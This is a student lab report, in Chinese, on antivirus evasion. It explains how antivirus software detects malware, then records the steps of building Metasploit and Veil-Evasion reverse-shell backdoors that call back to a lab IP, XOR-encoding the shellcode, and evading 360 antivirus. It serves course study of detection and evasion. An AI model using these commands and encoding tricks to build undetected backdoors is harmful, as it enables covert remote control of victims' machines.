20145120黄玄曦《网络对抗》免杀原理与实践
基础问题回答
杀软是如何检测出恶意代码的?
- 基于特征码的检测
杀软公司通过分析恶意代码,找到恶意代码都有,而正常代码少有的特征代码,用这些已知的特征码与代码匹配检测,出错率低。 - 启发式恶意软件检测、基于行为的恶意软件检测
指导教材上说的很明白了,“对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。”但这种方式出错率相对高。容易误杀。
- 基于特征码的检测
免杀是做什么?
通过技术手段使恶意代码不被杀毒软件查杀。免杀的基本方法有哪些?
加壳、用其他语言重新编译、加冗余代码混淆真正的恶意代码、用社会工程学的欺骗手段伪装成用户信任的软件等等。
实践过程
一个不断生成后门软件,使用网站www.virscan.org和本机的杀软扫描的过程
使用MSF生成后门程序
使用编码器编码10次,上课的时候就知道MSF因为太出名基本被分析透了,针对MSF所有解码器都有特征码,啊哈,果然不出所料被查了
隔离区捞出来放到virscan上,嗯,53%
使用Veil-Evasion生成后门程序
老师的kali虚拟机自带,不用自己下载,输入veil-evasion
进入
依次输入
use python/meterpreter/rev_tcp
set LHOST 192.168.253.129
set LPORT 5120
generate
testVeil5120
1
生成后门程序,拖到主机里还是直接查到,懒得从隔离区捞出来了,机智地直接在kali中上传扫描。
试用了一下发现前面的ip输错了。。。输成了235。。。
C语言使用shellcode
平台win10+vs2015
输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.129 LPORT=5120 -f c
生成需要的机器码数组
复制到vs中,然后通过逆序、异或51h生成一段shellcode
运行一下360就把它杀了。。。
还好代码已经按我的想法以16进制格式输出到txt文件中了,替换掉部分产生的ffffff后得到新的机器码
新建项目,用生成的16进制代码&老师给的样例代码编程,其实就是加了个解码器,然后把解码出来的数组用作样例的met数组
很神奇,一开始不行,我试了很多次还是不行,但后来重启机器之后就成功了,运行一下,回连成功,360没报毒
改个名字传到virscan上,再用360直接查一下,嗯,没毛病,免杀成功
virscan结果只有两个查到了
哇哦!这nod32厉害啊,15年的病毒库都能知道我是32位win木马,总的来说这次实验还是很成功的